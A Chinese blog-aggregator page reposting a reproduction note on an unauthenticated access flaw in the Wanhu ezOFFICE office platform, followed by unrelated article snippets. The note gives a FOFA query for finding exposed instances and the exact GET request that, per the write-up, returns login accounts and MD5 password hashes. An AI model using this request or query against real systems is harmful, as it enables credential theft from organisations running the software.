当前位置：首页 > news >正文

万户协同办公平台 ezoffice存在未授权访问漏洞附POC

news 文章来源：https://blog.csdn.net/nnn2188185/article/details/132571958 2024/9/22 16:45:44

文章目录

万户协同办公平台 ezoffice存在未授权访问漏洞附POC
- 1. 万户协同办公平台 ezoffice简介
- 2.漏洞描述
- 3.影响版本
- 4.fofa查询语句
- 5.漏洞复现
- 6.POC&EXP
- 7.整改意见
- 8.往期回顾

万户协同办公平台 ezoffice存在未授权访问漏洞附POC

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

1. 万户协同办公平台 ezoffice简介

微信公众号搜索：南风漏洞复现文库
该文章南风漏洞复现文库公众号首发

万户ezOFFICE集团版协同平台以工作流程、知识管理、沟通交流和辅助办公四大核心应用

2.漏洞描述

万户ezOFFICE协同管理平台是一个综合信息基础应用平台。万户ezoffice协同管理平台存在未授权访问漏洞，攻击者可以从evoInterfaceServlet接口获得系统登录账号和用MD5加密的密码。

CVE编号:

CNNVD编号:

CNVD编号:

3.影响版本

4.fofa查询语句

“Ezoffice”

5.漏洞复现

漏洞链接：http://127.0.0.1/defaultroot/evoInterfaceServlet?paramType=user

漏洞数据包：

GET /defaultroot/evoInterfaceServlet?paramType=user HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive

万户协同办公平台 ezoffice存在未授权访问漏洞附POC

6.POC&EXP

关注公众号南风漏洞复现文库并回复漏洞复现45 即可获得该POC工具下载地址：
万户协同办公平台 ezoffice存在未授权访问漏洞附POC

7.整改意见

厂商尚未提供漏洞修补方案，请关注厂商主页及时更新： http://www.whir.net

8.往期回顾

相关文章：

万户协同办公平台 ezoffice存在未授权访问漏洞附POC

文章目录万户协同办公平台 ezoffice存在未授权访问漏洞附POC1. 万户协同办公平台 ezoffice简介2.漏洞描述3.影响版本4.fofa查询语句5.漏洞复现6.POC&EXP7.整改意见8.往期回顾万户协同办公平台 ezoffice存在未授权访问漏洞附POC 免责声明：请勿利用文章内的相…...

编程日记 2023/8/30 4:58:43

使用ctcloss训练矩阵生成目标字符串

首先我们需要明确 c t c l o s s ctcloss ctcloss是用来做什么的。比如说要生成的目标字符串长度为 l l l，而这个字符串包含 s s s个字符，字符串允许的最大长度为 L L L，这里认为一个位置是一个时间步，就是一拍，记为 T…...

编程日记 2023/8/30 4:57:41

驱动 - 20230829

练习基于platform实现在根节点下，增加设备树 myplatform {compatible"hqyj,myplatform";interrupts-extended<&gpiof 9 0>, <&gpiof 7 0>, <&gpiof 8 0>;led1-gpio<&gpioe 10 0>;reg<0x12345678 59>;}…...

编程日记 2023/8/30 4:56:39

数组(个人学习笔记黑马学习)

一维数组 1、定义方式 #include <iostream> using namespace std;int main() {//三种定义方式//1.int arr[5];arr[0] 10;arr[1] 20;arr[2] 30;arr[3] 40;arr[4] 50;//访问数据元素/*cout << arr[0] << endl;cout << arr[1] << endl;cout &l…...

编程日记 2023/8/30 4:55:36

layui表格事件分析实例

在 layui 的表格组件中，区分表头事件和行内事件是通过事件类型（toolbar 和 tool）以及 lay-filter 值来实现的。我们有一个表格，其中有一个工具栏按钮和操作按钮。我们将使用 layui 的 table 组件来处理这些事件。 HTML 结构&…...

编程日记 2023/8/30 4:54:34

Android NDK JNI与Java的相互调用

一、Jni调用Java代码 jni可以调用java中的方法和java中的成员变量，因此JNIEnv定义了一系列的方法来帮助我们调用java的方法和成员变量。以上就是jni调用java类的大部分方法，如果是静态的成员变量和静态方法，可以使用***GetStaticMethodID、CallStaticObjectMethod等***。就…...

编程日记 2023/8/30 4:53:33

装备制造企业如何执行精益管理？

导读 ( 文/ 2358 ) 精益管理是一种以提高效率、降低成本和优化流程为目标的管理方法。装备制造行业具备人工参与度高，产成品价值高，质量要求高的特点。在装备制造企业中实施精益管理可以帮助企业提高竞争力、提升生产效率并提供高质量的产品。本文将…...

编程日记 2023/8/30 4:52:31

PHP8中自定义函数-PHP8知识详解

1、什么是函数？ 函数，在英文中的单词是function，这个词语有功能的意思，也就是说，使用函数就是在编程的过程中，实现一定的功能。即函数就是实现一定功能的一段特定代码。在前面的教学中，我们已…...

编程日记 2023/8/30 4:51:30

虚拟化技术：云计算发展的核心驱动力

文章目录虚拟化技术的概念和作用虚拟化技术的优势虚拟化技术对未来发展的影响结论 🎉欢迎来到AIGC人工智能专栏~虚拟化技术：云计算发展的核心驱动力 ☆* o(≧▽≦)o *☆嗨~我是IT陈寒🍹✨博客主页：IT陈寒的博客🎈该系…...

编程日记 2023/8/30 4:50:29

光伏＋旅游景区

传统化石燃料可开发量逐渐减少，并且对环境造成的危害日益突出。全世界都把目光投向了可再生能源，希望可再生能源能够改变人类的能源结构。丰富的太阳能取之不尽、用之不竭，同时对环境没有影响，光伏发电是近些年来发展最快&#xf…...

编程日记 2023/8/30 4:49:25

手搓文本向量数据库（自然语言搜索生成模型）

import paddle import jieba import pandas as pd import numpy as np import os from glob import glob from multiprocessing import Process, Manager, freeze_supportfrom tqdm import tqdm# 首先确定的是输出的时候一定要使用pd.to_pickle() pd.read_pickle() # 计算的时…...

编程日记 2023/8/30 4:48:24

EVO大赛是什么

价格是你所付出的东西，而价值是你得到的东西 EVO大赛是什么？ “EVO”大赛全称“Evolution Championship Series”，是北美最高规格格斗游戏比赛，大赛正式更名后已经连续举办12年，是全世界最大规模的格斗游戏赛事。常见…...

编程日记 2023/8/30 4:47:23

linux中使用clash代理

本机环境：ubuntu16 安装代理工具（这里使用clash） 可以手动下载解压，下载地址：https://github.com/Dreamacro/clash 也可以直接使用命令行，演示如下： userlocalhost:~$ curl https://glados.r…...

编程日记 2023/8/30 4:46:22

Kafka3.0.0版本——Follower故障处理细节原理

目录一、服务器信息二、服务器基本信息及相关概念2.1、服务器基本信息2.2、LEO的概念2.3、HW的概念三、Follower故障处理细节一、服务器信息三台服务器原始服务器名称原始服务器ip节点centos7虚拟机1192.168.136.27broker0centos7虚拟机2192.168.136.28broker1centos7虚拟…...

编程日记 2023/8/30 4:45:20

13.redis集群、主从复制、哨兵

1.redis主从复制主从复制是指将一台redis服务器（主节点-master）的数据复制到其他的redis服务器（从节点-slave），默认每台redis服务器都是主节点，每个主节点可以有多个或没有从节点，但一个从节点…...

编程日记 2023/8/30 4:44:16

linux字符串处理

目录 1 C 截取字符串,截取两个子串中间的字符串2 获取该字符串后面的字符串用 strstr() 函数查找需要提取的特定字符串，然后通过指针运算获取该字符串后面的字符串用 strtok() 函数分割字符串，找到需要提取的特定字符串后，调用 strtok() 传入…...

编程日记 2023/8/30 4:43:14

Nginx入门——Nginx的docker版本和windows版本安装和使用代理的概念负载分配策略

目录引出nginx是啥正向代理和反向代理正向代理反向代理 nginx的安装使用Docker版本的nginx安装下载创建挂载文件获取配置文件创建docker容器拷贝容器中的配置文件删除容器创建运行容器开放端口进行代理和测试 Windows版本的使用反向代理多个端口运行日志查看启动关闭重启负载…...

编程日记 2023/8/30 4:42:12

Zebec Protocol：模块化 L3 链 Nautilus Chain，深度拓展流支付体系

过去三十年间，全球金融科技领域已经成熟并迅速增长，主要归功于不同的数字支付媒介的出现。然而，由于交易延迟、高额转账费用等问题愈发突出，更高效、更安全、更易访问的支付系统成为新的刚需。此前，咨询巨头麦肯锡的一…...

编程日记 2023/8/30 4:41:09

Oracle-rolling upgrade升级19c

前言: 本文主要描述Oracle11g升19c rolling upgrade升级测试，通过逻辑DGautoupgrade方式实现rolling upgrade，从而达到在较少停机时间内完成Oracle11g升级到19c的目标升级介绍： 升级技术: rolling upgrade轮询升级，通过采用跨版…...

编程日记 2023/8/30 4:40:03

Spring IOC详解

Spring 笔记官网：https://spring.io/ 核心功能：当你的项目启动的时候，自动的将当前项目的各种 Bean 都自动的注册到 Spring 容器中，然后在项目的其他地方，如果需要用到这些 Bean，直接去 Spring 容器中查…...

编程日记 2023/8/30 4:39:02

Unity——DOTween插件使用方法简介

缓动动画既是一种编程技术，也是一种动画的设计思路。从设计角度来看，可以有以下描述事先设计很多基本的动画样式，如移动、缩放、旋转、变色和弹跳等。但这些动画都以抽象方式表示，一般封装为程序函数动画的参数可以在使用时指定&…...

编程日记 2023/8/30 4:38:01

数据库——Redis 单线程模型详解

文章目录 Redis 基于 Reactor 模式来设计开发了自己的一套高效的事件处理模型 （Netty 的线程模型也基于 Reactor 模式，Reactor 模式不愧是高性能 IO 的基石），这套事件处理模型对应的是 Redis 中的文件事件处理器（file …...

编程日记 2023/8/30 4:36:59

leetcode 567. 字符串的排列(滑动窗口-java)

滑动窗口字符串的排列滑动窗口代码演示进阶优化版上期经典字符串的排列难度 -中等 leetcode567. 字符串的排列给你两个字符串 s1 和 s2 ，写一个函数来判断 s2 是否包含 s1 的排列。如果是，返回 true ；否则，返回 false 。换句…...

编程日记 2023/8/30 4:35:58

Git —— 分支重命名操作

在开发中，对某个分支进行重命名的操作： 1、本地分支重命名本地分支是指：你当前这个分支还没有推送到远程的情况，这种情况修改分支名称就要方便很多 git branch -m 原始名称新名称 //示例： 修改 test 为 newTest g…...

编程日记 2023/8/30 4:34:55

JavaIO流

JavaIO流一、概念二、File类三、File类的使用1、File文件/文件夹类的创建2、File类的获取操作3、File类判断操作 - boolean4、File类对文件/文件夹的增删改5、File类的获取子文件夹以及子文件的方法四、Java中IO流多种维度的维度1、按照流向 - Java程序2、按照流的大小分类3、…...

编程日记 2023/8/30 4:33:52

FlinkSql 如何实现数据去重？

摘要很多时候flink消费上游kafka的数据是有重复的，因此有时候我们想数据在落盘之前进行去重，这在实际开发中具有广泛的应用场景，此处不说详细代码，只粘贴相应的flinksql 代码 --********************************************…...

编程日记 2023/8/30 4:32:51

机器学习概念

目录一、人工智能、机器学习、深度学习的关系二、什么是深度学习？ 2.1 深度学习常用算法一、人工智能、机器学习、深度学习的关系人工智能、机器学习和深度学习的关系如下所示。二、什么是深度学习？ 深度学习( DL, Deep Learning) 是机器学习 …...

编程日记 2023/8/30 4:31:49

【数据结构】排序（插入、选择、交换、归并） -- 详解

一、排序的概念及其运用 1、排序的概念排序：所谓排序，就是使一串记录，按照其中的某个或某些关键字的大小，递增或递减的排列起来的操作。稳定性：假定在待排序的记录序列中，存在多个具有相同的关键字的记…...

编程日记 2023/8/30 4:30:48

游戏中的图片打包流程，免费的png打包plist工具，一款把若干资源图片拼接为一张大图的免费工具

手机游戏开发中，为了提高图片渲染性能，经常需要将小图片合并成一张大图进行渲染。如果手工来做的话就非常耗时。TexturePacker就是一款非常不错方便的处理工具。TexturePacker虽然非常优秀，但不是免费的。对于打包流程，做游戏的…...

编程日记 2023/8/30 4:29:47

Springboot实现ENC加密

Springboot实现ENC加密 1、导入依赖2、配置加密秘钥（盐）3、获取并配置密文4、重启项目测试5、自定义前缀、后缀6、自定义加密方式 1、导入依赖关于版本，需要根据spring-boot版本，自行修改 <dependency><groupId>co…...

编程日记 2023/8/30 4:28:45

nginx 托管vue项目配置

server {listen 80;server_name your_domain.com;location / {root /path/to/your/vue/project;index index.html;try_files $uri $uri/ /index.html;} }奇怪的现象,在vue路由中/会跳转到/abc/def，但如果直接输入/abc/def会显示404，添加 try_files $uri…...

编程日记 2023/8/30 4:27:44

Vue3中如何进行封装？—组件之间的传值

用了很久一段时间Vue3Ts了，工作中对一些常用的组件也进行了一些封装，这里对封装的一些方法进行一些简单的总结。 1.props传递首先在主组件进行定义传值 <template><div>这里是主组件<common :first"first"></common&…...

编程日记 2023/8/30 4:26:42

实训笔记8.25

实训笔记8.25 8.25笔记一、Flume数据采集技术1.1 Flume实现数据采集主要借助Flume的组成架构1.2 Flume采集数据的时候，核心是编写Flume的采集脚本xxx.conf1.2.1 脚本文件主要由五部分组成二、Flume案例实操2.1 采集一个网络端口的数据到控制台2.1.1 分析案例的组件…...

编程日记 2023/8/30 4:25:41

vue自定义监听元素宽高指令

在 main.js 中添加 // 自定义监听元素高度变化指令 const resizerMap new WeakMap() const resizeObserver new ResizeObserver((entries) > {for (const entry of entries) {const handle resizerMap.get(entry.target)if (handle) {handle({width: entry.borderBoxSiz…...

编程日记 2023/8/30 4:24:39

网络爬虫到底是个啥？

网络爬虫到底是个啥？ 当涉及到网络爬虫技术时，需要考虑多个方面，从网页获取到最终的数据处理和分析，每个阶段都有不同的算法和策略。以下是这些方面的详细解释： 网页获取（Web Crawling）&#x…...

编程日记 2023/8/30 4:23:38

前端行级元素和块级元素的基本区别

块级元素和行内元素的基本区别是， 行内元素可以与其他行内元素并排；块级元素独占一行，不能与其他任何元素并列； 下面看一下； <!DOCTYPE html> <html> <head> <meta charset"utf-8"&…...

编程日记 2023/8/30 4:22:31

CentOS 7用二进制安装MySQL5.7

[rootlocalhost ~]# [rootlocalhost ~]# ll 总用量 662116 -rw-------. 1 root root 1401 8月 29 19:29 anaconda-ks.cfg -rw-r--r--. 1 root root 678001736 8月 29 19:44 mysql-5.7.40-linux-glibc2.12-x86_64.tar.gz [rootlocalhost ~]# tar xf mysql-5.7.40-linux-…...

编程日记 2023/8/30 4:21:30

华为加速回归Mate 60发布, 7nm全自研工艺芯片

华为于今天12:08推出“HUAWEI Mate 60 Pro先锋计划”，让部分消费者提前体验。在华为商城看到，华为Mate 60 pro手机已上架，售价6999元，提供雅川青、白沙银、南糯紫、雅丹黑四种配色供选择。据介绍，华为在卫星通信领域…...

编程日记 2023/8/30 4:20:28

Linux系列讲解 —— 【systemd】下载及编译记录

Ubuntu18.04的init程序合并到了systemd中，本篇文章记录一下systemd的下载和编译。 1. 下载systemd源码 (1) 查看systemd版本号，用来确定需要下载的分支 sunsun-pc:~$ systemd --version systemd 237 PAM AUDIT SELINUX IMA APPARMOR SMACK SYSVINIT UT…...

编程日记 2023/8/30 4:19:27

u-view 的u-calendar 组件设置默认日期后，多次点击后，就不滚动到默认日期的位置

场景：uniapp开发微信小程序 vue2 uview版本：2.0.36 ； u-calendar 组件设置默认日期后我打开弹窗，再关闭弹窗， 重复两次就不显示默认日期了在源码中找到这个位置进行打印值，根据出bug前后的值进行…...

编程日记 2023/8/30 4:18:23

vue naive ui 按钮绑定按键

使用vue (naive ui) 绑定Enter 按键知识点: 按键绑定Button全局挂载使得message,notification, dialog, loadingBar 等NaiveUI 生效UMD方式使用vue 与 naive ui将vue默认的分隔符大括号替换为 [[ ]] <!DOCTYPE html> <html lang"en"> <head>…...

编程日记 2023/8/30 4:16:20

Viobot基本功能使用及介绍

设备拿到手当然是要先试一下效果的，这部分可以参考本专栏的第一篇 Viobot开机指南。接下来我们就从UI开始熟悉这个产品吧！ 1.状态设备上电会自动运行它的程序，开启了一个服务器，上位机通过连接这个服务器连接到设备&#xff0c…...

编程日记 2023/8/30 4:15:18

《PMBOK指南》第七版12大原则和8大绩效域

《PMBOK指南》第七版12大原则原则1：成为勤勉、尊重和关心他人的管家原则2：营造协作的项目团队环境原则3：有效地干系人参与原则4：聚焦于价值原则5：识别、评估和响应系统交互原则6：展现领导力行为…...

编程日记 2023/8/30 4:14:17

docker 启动命令

cd /ycw/docker docker build -f DockerFile -t jshepr:1.0 . #前面测试docker已经介绍过该命令下面就不再介绍了 docker images docker run -it -p 7003:9999 --name yyy -d jshepr:1.0 #上面运行报错用这个不报错就不用 docker rm yyy docker ps #查看项目日志 docker …...

编程日记 2023/8/30 4:13:14

C++ DAY7

一、类模板建立一个通用的类，其类中的类型不确定，用一个虚拟类型替代 template<typename T> 类template ----->表示开始创建模板 typename -->表明后面的符号是数据类型，typename 也可以用class代替 T ----->表示数据类型…...

编程日记 2023/8/30 4:12:11

Vue2 使用插件 Volar 报错：＜template v-for＞ key should be placed on the ＜template＞ tag.

目录问题描述版本描述问题定位问题解决 VS Code 插件地址问题描述在 VS Code 上使用插件 Volar 开发 Vue3 项目，然后去改 Vue2 项目时，对没有放在<template v-for> 元素上的 :key，会提示 <template v-for> key should…...

编程日记 2023/8/30 4:11:10

启动线程方法 start ()和 run ()有什么区别

在Java中，线程可以通过调用start()方法或者直接调用run()方法来执行。这两种方式有着重要的区别： start() 方法：当你调用线程的start()方法时，它会使线程进入就绪状态，等待系统调度。系统会为该线程分配资源，并在合适的时机执行线程的run()方法。实际上，start()方法会启…...

编程日记 2023/8/30 4:10:07

Java的全排列模板

c有全排列函数，我们Java没有，所以我们只能自己手写了。模板一：（不去重） import java.util.ArrayList; import java.util.Random; import java.util.Scanner; public class liyunpeng {public static void main(Stri…...

编程日记 2023/8/30 4:09:05

读书笔记——《万物有灵》

前言上一本书是《走出荒野》，太平洋步道女王提到了这本书《万物有灵》，她同样是看一点撕一点的阅读。我想，在她穿越山河森林，听见鸟鸣溪流的旅行过程中，是不是看这本描写动物有如何聪明的书——《万物有灵》&#xf…...

编程日记 2023/8/30 4:08:04

面试现场表现：展示你的编程能力和沟通技巧

🌷🍁 博主猫头虎带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》文章图文并茂🦕生动形象🦖简单易学！欢迎大家来踩踩~🌺 &a…...

编程日记 2023/8/30 4:07:02